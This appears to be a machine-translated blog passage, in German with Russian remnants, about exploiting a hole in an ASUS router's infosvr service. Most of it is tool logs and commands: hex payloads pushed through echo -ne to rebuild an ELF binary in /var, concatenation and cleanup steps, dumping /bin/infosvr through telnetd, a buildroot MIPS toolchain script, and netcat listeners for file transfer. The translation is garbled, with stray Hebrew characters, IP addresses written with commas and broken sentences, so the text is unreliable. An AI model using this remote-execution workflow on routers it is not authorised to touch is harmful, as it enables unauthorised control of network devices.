53,0% 31,7 Bps Teil 111 (48 B; cmd: 235 ch) 192,168,1,1: OK
53,5% 410,3 Bps Teil 112 (48 B; cmd: 235 ch ) 192.168.1.1: OK
54,0% 143,3 Bps Teil 113 (48 B; cmd: 235 ch) 192.168.1.1: OK
54,4% 144,6 Bps Teil 114 (48 B; cmd: 235 ch) 192.168.1.1 : OK
54,9% 141,6 Bps Teil 115 (48 B; cmd: 235 ch) 192,168,1,1: OK
55,4% 150,0 Bps Teil 116 (48 B; cmd: 235 ch) ש 192,168,1,1: OK
55,9% 140,4 Bps Teil 117 (48 B; cmd: 235 ch) 192.168.1.1: OK
56,3% 151,9 Bps Teil 118 (48 B; cmd: 235 ch) 192.168.1.1: OK
56,8% 142,0 Bps Teil 119 (48 B; cmd: 235 ch) 192.168.1.1: OK
57,3% 145,5 Bps Teil 120 (48 B; cmd: 235 ch) 192.168.1.1: OK
57,8% 140,8 Bps Teil 121 (48 B; cmd: 235 ch) 192,168,1,1: OK
58,3% 154,3 Bps Teil 122 (48 B; cmd: 235 ch) ש 192,168,1,1: OK
58,7% 144,6 Bps Teil 123 (48 B; cmd: 235 ch) 192.168.1.1: OK
59,2% 141,2 bps Teil 124 (48 b; cmd: 235 ch) 192.168.1.1: OK
59,7% 138,7 bps Teil 125 (48 b; cmd: 235 ch) 192.168.1.1 : OK
60,2% 151,9 Bps Teil 126 (48 Bps; cmd: 235 ch) 192,168,1,1: OK
60,6% 142,9 Bps Teil 127 (48 B; cmd: 235 ch) VERLOREN
60,6% 31,9 Bps Teil 127 (48 B); cmd: 235 ch) 192.168.1.1: OK
61,1% 378,0 Bps Teil 128 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
61,6% 142,4 Bps Teil 129 (48 B; cmd: 235 ch) 192.168.1.1 : OK
62,1% 150,0 Bps Teil 130 (48 B; cmd: 235 ch) שש 192,168,1.1: OK
62,5% 136,8 Bps Teil 131 (48 B; cmd: 235 ch) 192,168,1,1: OK
63,0% 154,3 Bps Teil 132 (48 B; cmd: 235 ch) 192,168,1,1: OK
63,5% 149,1 Bps Teil 133 (48 B; cmd: 235 ch) 192.168.1.1: OK
64,0% 145,9 Bps Teil 134 (48 B; cmd: 235 ch) 192.168.1.1: OK
64,4% 142,4 Bps Teil 135 (48 B; cmd: 235 ch ) 192.168.1.1: OK
64,9% 147,7 Bps Teil 136 (48 B; cmd: 235 ch) 192.168.1.1: OK
65,4% 146,8 Bps Teil 137 (48 B; cmd: 235 ch) 192.168.1.1 : OK
65,9% 142,0 Bps Teil 138 (48 B; cmd: 235 ch) 192,168,1,1: OK
66,3% 179,8 Bps Teil 139 (48 B; cmd: 235 ch) 192,168,1,1: OK
66,8% 121,2 bps Teil 140 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
67,3% 182,5 Bps Teil 141 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
67,8% 119,4 Bps Teil 142 (48 B; cmd: 235 ch) 192,168,1,1: OK
68,2% 146,3 Bps Teil 143 (48 B; cmd: 235 ch) 192,168,1,1: OK
68,7% 145,0 Bps Teil 144 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
69,2% 142,4 Bps Teil 145 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
69,7% 142,9 Bps Teil 146 (48 B; cmd: 235 ch) 192.168.1.1: OK
70,2% 145,0 Bps Teil 147 (48 B; cmd: 235 ch) 192.168.1.1: OK
70,6% 142,0 Bps Teil 148 (48 B; cmd: 235 ch) 192.168.1.1: OK
71,1% 152,9 Bps Teil 149 (48 B; cmd: 235 ch) 192,168,1,1: OK
71,6% 177,1 Bps Teil 150 (48 B; cmd: 235 ch) 192,168,1,1: OK
72,1% 122,8 Bps Teil 151 (48 B; cmd: 235 ch) 192.168.1.1: OK
72,5% 143,3 Bps Teil 152 (48 B; cmd: 235 ch) 192.168.1.1: OK
73,0% 145,9 Bps Teil 153 (48 B; cmd: 235 ch) ש VERLOREN
73,0% 31,7 Bps Teil 153 (48 B; cmd: 235 ch) 192,168,1,1: OK
73,5% 432,4 Bps Teil 154 (48 B; cmd: 235 ch ) 192.168.1.1: OK
74,0% 144,6 Bps Teil 155 (48 B; cmd: 235 ch) 192.168.1.1: OK
74,4% 145,5 Bps Teil 156 (48 B; cmd: 235 ch) 192.168.1.1 : OK
74,9% 182,5 Bps Teil 157 (48 B; cmd: 235 ch) 192,168,1,1: OK
75,4% 117,1 Bps Teil 158 (48 B; cmd: 235 ch) 192,168,1,1: OK
75,9% 148,6 Bps Teil 159 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
76,3% 183,9 Bps Teil 160 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
76,8% 140,4 Bps Teil 161 (48 B; cmd: 235 ch) .1 192.168.1.1: OK
77,3% 121,2 Bps Teil 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
77,8% 149,1 Bps Teil 163 (48 B; cmd: 235 ch) 192,168,1,1: OK
78,2% 141,6 Bps Teil 164 (48 B; cmd: 235 ch) 192,168,1,1: OK
78,7% 145,0 Bps Teil 165 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
79,2% 148,1 Bps Teil 166 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
79,7% 176,5 Bps Teil 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80,1% 121,5 Bps Teil 168 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
80,6% 145,5 Bps Teil 169 (48 B; cmd: 235 ch) שש 192.168.1.1 : OK
81,1% 144,6 Bps Teil 170 (48 B; cmd: 235 ch)
שש VERLOREN 81,1% 31,7 Bps Teil 170 (48 B; cmd: 235 ch) 192,168,1.1: OK
81,6% 417,4 Bps Teil 171 (48 B; cmd: 235 ch) 192.168.1.1: OK
82,1% 144,6 Bps Teil 172 (48 B; cmd: 235 ch) 192.168.1.1: OK
82,5% 182,5 Bps Teil 173 (48 B; cmd: 235 ch) 192,168,1,1: OK
83,0% 119,4 Bps Teil 174 (48 B; cmd: 235 ch) ש 192,168,1,1: OK
83,5% 139,5 Bps Teil 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84,0% 145,9 bps Teil 176 (48 b; cmd: 235 ch) 192.168.1.1: OK
84,4% 145,9 bps Teil 177 (48 b; cmd: 235 ch) 192.168.1.1 : OK
84,9% 142,0 Bps Teil 178 (48 B; cmd: 235 ch) 192,168,1,1: OK
85,4% 150,5 Bps Teil 179 (48 B; cmd: 235 ch) ש 192,168,1,1: OK
85,9% 150,0 Bps Teil 180 (48 B; cmd: 235 ch) 192.168.1.1: OK
86,3% 142,0 Bps Teil 181 (48 B; cmd: 235 ch) 192.168.1.1: OK
86,8% 143,7 Bps Teil 182 (48 B; cmd: 235 ch) 192.168.1.1: OK
87,3% 147,7 Bps Teil 183 (48 B; cmd: 235 ch) 192.168.1.1: OK
87,8% 141,6 Bps Teil 184 (48 B; cmd: 235 ch) VERLOREN
87,8% 32,0 Bps Teil 184 (48 B; cmd: 235 ch) 192,168,1,1: OK
88,2% 355,6 Bps Teil 185 (48 B; cmd: 235 ch ) 192.168.1.1: OK
88,7% 149,1 Bps Teil 186 (48 B; cmd: 235 ch) 192.168.1.1: OK
89,2% 140,4 Bps Teil 187 (48 B; cmd: 235 ch) 192.168.1.1 : OK
89,7% 147,2 Bps Teil 188 (48 B; cmd: 235 ch) 192,168,1,1: OK
90,1% 148,1 Bps Teil 189 (48 B; cmd: 235 ch) 192,168,1,1: OK
90,6% 144,1 Bps Teil 190 (48 B; cmd: 235 ch) VERLOREN
90,6% 32,0 Bps Teil 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91,1% 406,8 Bps Teil 191 (48 B; cmd: 235 ch) 192.168.1.1 : OK
91,6% 142,9 Bps Teil 192 (48 B; cmd: 235 ch) 192,168,1,1: OK
92,0% 148,1 Bps Teil 193 (48 B; cmd: 235 ch) 192,168,1,1: OK
92,5% 144,6 Bps Teil 194 (48 B; cmd: 235 ch) 192,168,1,1: OK
93,0% 147,2 Bps Teil 195 (48 B; cmd: 235 ch) 192.168.1.1: OK
93,5% 144,1 Bps Teil 196 (48 B; cmd: 235 ch) 192.168.1.1: OK
94,0% 147,7 Bps Teil 197 (48 B; cmd: 235 ch) 192.168.1.1: OK
94,4% 145,9 Bps Teil 198 (48 B; cmd: 235 ch) 192.168.1.1: OK
94,9% 174,5 Bps Teil 199 (48 B; cmd: 235 ch) 192.168.1.1 : OK
95,4% 123,4 Bps Teil 200 (48 B; cmd: 237 ch) 192,168,1.1: OK
Zusammenführen zu / var / ldd Teilen 101.,116 (16 Stk; cmd: 229 ch) ... OK (5586 B)
Zusammenführen zu / var / ldd Teile 117..132 (16 Stk.; cmd: 238 ch) ... OK (6354 B)
Zusammenführen zu / var / ldd Teilen 133..148 (16 Stk.; cmd: 238 ch) ... OK (7122 B)
Zusammenführen zu / var / ldd-Teilen 149..164 (16 Stk.; Cmd: 238 ch) ... OK (7890 B)
Zusammenführen zu / var / ldd-Teilen 165..180 (16 Stk.; Cmd: 238 ch) ... OK (8658 B)
Zusammenführen zu / var / ldd Teilen 181..196 (16 Stk.; Cmd: 238 Lm) ... OK (9426 B)
Zusammenführen zu / var / ldd Teilen 197..200 (4 Stk.; Cmd: 71 Lm) ... OK (9618 B)
geschrieben 9,39 KB / 9,85 KB 92,9 Bps (Durchschnitt) verbleibend: 00:05 (01: 54/01: 59)

95,9% 4,9 Bps Teil 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96,4 % 146,7 Bps Teil 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96,8% 155,6 Bps Teil 203 (49 B; cmd: 237 ch) שש 192.168.1.1: OK
97,3% 142,9 Bps Teil 204 (49 B ; cmd: 237 ch) 192.168.1.1: OK
97,8% 153,1 Bps Teil 205 (49 B; cmd: 237 ch) VERLOREN
97,8% 32,7 Bps Teil 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98,3% 388,9 Bps Teil 206 (49 B; cmd: 237 ch) 192,168,1,1: OK
98,8% 148,5 Bps Teil 207 (49 B; cmd: 237 ch) 192,168,1,1: OK
99,3% 144,5 Bps Teil 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99,8% 151,2 Bps Teil 209 (49 B; cmd: 237 ch) ש 192.168.1.1: OK
100,0% 75,3 Bps Teil 210 (25 B; cmd: 143 ch) שש 192 .168.1.1: OK
Zusammenführen mit / var / ldd-Teilen 201..210 (10 Stk.; Cmd: 145 ch) ... OK (10084 B)
Geschrieben 9,85 KB / 9,85 KB 78,7 Bps (Durchschnitt) Verbleibend: 00:00 (02 : 00/02: 00)

Fertig. Die Dateigröße auf dem Ziel ist 9,85 KB. Arbeitszeit: 02:00 (120 Sek.)

Hinweis zum nächsten Spoiler
  • Anstelle von /// *** solchen Kommentaren wurden *** /// Zeilen gelöscht, um den Text nicht zu überladen.
  • Und anstelle von /// --- so --- /// wurde nichts gelöscht. Dies sind nur Erklärungen.

/dev/console (/dev/ttyS0) - обратите внимание на имя файла, в который перенаправляется вывод на разных этапах
system cmd: 237 echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1
rund: echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out
49 ELF
system cmd: 237 echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2
rund: echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out
49

///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 35 echo -n "">>/var/ldd;wc -c rund: echo -n "">>/var/ldd;wc -c /tmp/syscmd.out
2 0

///--- Объединение загруженных частей ---///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0

///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 14 wc -c rund: wc -c /tmp/syscmd.out
4 777
ш $D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
ш $D
system cmd: 14 wc -c rund: wc -c /tmp/syscmd.out
5 1545
ш $D

///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///

system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
ш $D
system cmd: 14 wc -c rund: wc -c /tmp/syscmd.out
5 4809
ш $D
system cmd: 14 wc -c rund: wc -c /tmp/syscmd.out
5 4809
ш $D

///--- следующая команда удаляет уже объединённые части ---///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
ш $D

///--- далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла ---///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X

///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///

system cmd: 237 echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n "">>/var/ldd;wc -c rund: echo -n "">>/var/ldd;wc -c /tmp/syscmd.out
5 9618

system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618

system cmd: 14 wc -c rund: wc -c /tmp/syscmd.out
6 10084

system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: / var / ldd_2- *: Keine solche Datei oder kein solches Verzeichnis
rund: rm / var / ldd_2 - *; ls / var / ldd_2- * | wc -l> /tmp/syscmd.out
2 0
084

system cmd: 35 echo -n >> / var / ldd; wc -c rund: echo -n >> / var / ldd; wc -c /tmp/syscmd.out
6 10084


Also, wie geht es weiter?

Wie Sie wissen, müssen Sie unter Linux die entsprechenden Berechtigungen festlegen, um eine Datei zur Ausführung auszuführen. Das Problem ist, dass auf dem Router kein chmod vorhanden war (erinnern Sie sich an die stark beschnittene Busybox ?). Aber nichts. Sie können das umgehen:



Profit! Wir haben gerade unsere ausführbare Datei auf den Router hochgeladen und es funktioniert! Obwohl hey ... Und wo haben wir es bekommen, diese Datei?

So erhalten Sie ausführbare Dateien für Ihren Router


Zunächst müssen Sie die CPU-Architektur Ihres Routers kennen. Der einfache Weg liefert nicht alle notwendigen Informationen:
Cat # / proc / cpuinfo
System des Typs: RTL8196C
Prozessor: 0
CPU - Modell: 52481
BogoMIPS: 389,12
tlb_entries: 32
MIPS16 Implementiert: ja oder die
#

Sie können natürlich das Datenblatt durchsuchen und diese Informationen darin finden ... Und wenn es nicht verfügbar ist? Und wenn es verschiedene Modifikationen gibt? Am sichersten ist es, sich anzusehen, was bereits funktioniert.

Sie müssen die ausführbare Datei irgendwie vom Router abrufen , um sie mit den Befehlen file und readelf -h zu analysieren .

Ich habe es so gemacht:
  • telnetd gestartet und TeraTerm damit verbunden
  • TeraTerm so konfiguriert, dass es sich mit der Binäroption in einer Datei anmeldet
  • TeraTerm nicht mehr berühren (damit nichts mehr an den Anfang des Protokolls gelangt)
  • durchgeführt AsusCmd.exe «cat / bin / infosvr> / dev / ttyp0;»
  • hat das Protokoll in der Datei gestoppt

Die resultierende Datei kam ein wenig mehr als das heraus, was auf dem Router liegt (etwas Müll eingemischt). Aber nichts: Wir interessieren uns nur für den Anfang der Datei - ELF Header.

Übertragen Sie die resultierende Datei auf einen Linux-Computer. Jetzt können Sie den Titel sehen:



Jetzt ist alles klar: MIPS-1, Big Endian.

Wir sammeln eine Toolchain für unseren Router

Hier ist mein Skript-Memo (wählen Sie einen Konfigurator nach Ihren Wünschen):
#!/bin/sh
wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz
tar zxf buildroot-2014.11.tar.gz
cd buildroot-2014.11
sudo apt-get -y install g++
# curses-based configurators
sudo apt-get -y install libncurses5-dev
make menuconfig # original curses-based configurator
#make nconfig # new curses-based configurator
# Qt-based configurator
#sudo apt-get -y install libqt4-dev
#make xconfig # Qt-based configurator
# GTK-based configurator
#sudo apt-get -y install libgtk2.0-dev libglade2-dev
#make gconfig # GTK-based configurator
make

Im Schritt make * config konfigurieren wir die Toolchain.

Zumindest müssen Sie die Zielarchitektur konfigurieren. Zieloptionen ---> Zielarchitektur und Zielarchitekturvariante . Es gibt einen kleinen Haken: Sie werden ihn in Target Architecture Variant Mips I auf Anhieb nicht finden. Damit es dort angezeigt wird, müssen Sie die Option Build-Optionen ---> Optionen und Pakete anzeigen aktivieren , die veraltet oder veraltet sind .

Sie können nichts anderes konfigurieren. Und Sie können viele Dinge konfigurieren: Unterstützung für C ++ und andere Sprachen aktivieren, statisches Layout (ich habe nichts Gutes daraus), Anwendungen auswählen, die für die Zielarchitektur kompiliert wurden, AppletsBusybox , Bibliotheksversionen usw.

Wählen Sie nach der Einstellung Beenden , stimmen Sie zu, die neue Konfiguration zu speichern und ... vorzunehmen . Die Assembly dauert je nach Auswahl in den Einstellungen sehr lange (Wenn Sie nur die Architektur des Zielprozessors eingerichtet haben, hat die Assembly auf VM Ware etwas mehr als eine halbe Stunde gedauert . Ich habe sie folgendermaßen gemessen: ttt = `date`; make; echo $ ttt; Datum ). Es ist möglich, parallel zu sammeln, aber nicht mit -jN . Das Handbuch lautet:
Sie sollten make -jN niemals mit Buildroot verwenden: paralleles make auf oberster Ebene wird derzeit nicht unterstützt. Verwenden Sie stattdessen die BR2_JLEVEL- Option, um Buildroot anzuweisen , die Kompilierung jedes einzelnen Pakets mit make -jN auszuführen .
Das heißt Sie müssen die Build-Optionen konfigurieren ---> Anzahl der Jobs, die gleichzeitig ausgeführt werden sollen .

Toolchain fertig

Schließlich wurde die Toolchain nach xx Minuten vollständig und fehlerfrei zusammengestellt. Kann verwenden. GCC für den Router befindet sich auf dem Pfad ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (Symlink zu mips-buildroot-linux-uclibc-gcc ).
Schreiben Sie zunächst ein primitives Programm, kompilieren Sie es, laden Sie es auf den Router hoch, legen Sie die Ausführungsberechtigung fest (der zuvor gezeigte Trick) und führen Sie es aus:



Jetzt können Sie Ihre eigenen Programme für den Router schreiben, wobei Sie die begrenzten Ressourcen und Bibliotheksfunktionen des Routers berücksichtigen.

Aber zusammen mit der Toolchain kamen auch einige Binärdateien auf der Zielplattform zusammen! Sie liegen hier: ./buildroot-2014.11/output/target/ bin | sbin | usr / bin | usr / sbin . Ich habe viele von ihnen ausprobiertmenuconfig hat die Zusammenstellung vieler zusätzlicher Anwendungen konfiguriert. Ich habe diejenigen, die sich als Arbeiter herausstellten, gerettet und schien separat nützlich zu sein (vielleicht werden sie irgendwann gebraucht).

Nicht alle waren Arbeiter. Nach dem Download auf den Router haben sich viele aus verschiedenen Gründen geweigert zu arbeiten:
  • am häufigsten - Bibliothek kann nicht geladen werden 'irgendeine Art von Bibliothek'
  • teilweise funktionieren - Symbol 'irgendein Symbol' kann nicht aufgelöst werden
  • Segmentierungsfehler - kein Kommentar
  • und alle sind statisch verknüpft - Illegale Anweisung

Und wenn Sie einen Fehler wie einen Busfehler oder ein unerwartetes Wort haben , haben Sie höchstwahrscheinlich einen Fehler bei der Auswahl der Zielarchitektur gemacht (oder die Datei ist beschädigt).

Komfort steigern

Sie haben wahrscheinlich bemerkt, dass die Geschwindigkeit der Dateiübertragung durch die „Lücke“ in infosvr , gelinde gesagt , zu wünschen übrig lässt. Ich wollte dieses Problem lösen, indem ich TargetSideAgent schrieb , das ein wenig wiegt und eine vollständige TCP-Verbindung aufbaut . Schon ein bisschen Code geschrieben, hat SUDDENLY das wunderbare Dienstprogramm netcat entdeckt ! Es stellte sich heraus, dass dieses Dienstprogramm unter den von buildroot für die Zielplattform erstellten Anwendungen funktioniert . Jetzt brauchen Sie sich keine Sorgen mehr zu machen - netcat überträgt Dateien fast augenblicklich auf den Router (und auch vom Router)! Für eine schnelle Übertragung können Sie jetzt diesen Ansatz verwenden:
  • Füllen Sie mit AsusBinWrite den Netcat- Router aus
  • setze ihm die Erlaubnis zur Ausführung
  • Lauf an der Rezeption:
    ./netcat -vvlp 8888> recvfile
  • und vom computer starten wir die übertragung:
    ncat.exe -vv --send-only 192.168.1.1 8888 <Nützlich \ cpuload

Übrigens, wenn die Dateiübertragung mit AsusBinWrite aus irgendeinem Grund unterbrochen wurde, können Sie sie mit der Option RESUME fortsetzen :

Wiederaufnahme einer unterbrochenen Übertragung



Jetzt ist die Geschwindigkeit in Ordnung und Sie können problemlos auch "gewichtige" Dateien herunterladen. Aber lassen Sie sich nicht mitreißen. Vergessen Sie nicht, dass / var und / tmp (was eigentlich / var / tmp ist ) der RAM des Routers ist. Wenn Sie sie vollständig töten, reagiert der Router nicht mehr (oder friert insgesamt ein). In diesem Fall müssen Sie es manuell neu starten. Steuern Sie den freien Speicher mit free .

Übrigens, als ich nach netcat für Windows gesucht habe , bin ich auf " netcat des 21. Jahrhunderts" gestoßen . Es ist viel funktionsreicher als gewöhnliches Netcat . In unserem Fall hat sich die Option - send-only als sehr nützlich erwiesen (trennen Sie die Verbindung sofort nach der Übertragung).

Was kann noch getan werden?


Посмотрите на это 'хозяйство':
# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name

31 0 64 mtdblock0
31 1 3211 mtdblock1
31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 Wurzel Wurzel 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 Wurzel Wurzel 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 Wurzel Wurzel 1, 9 Sep 18 12:05 urandom
#


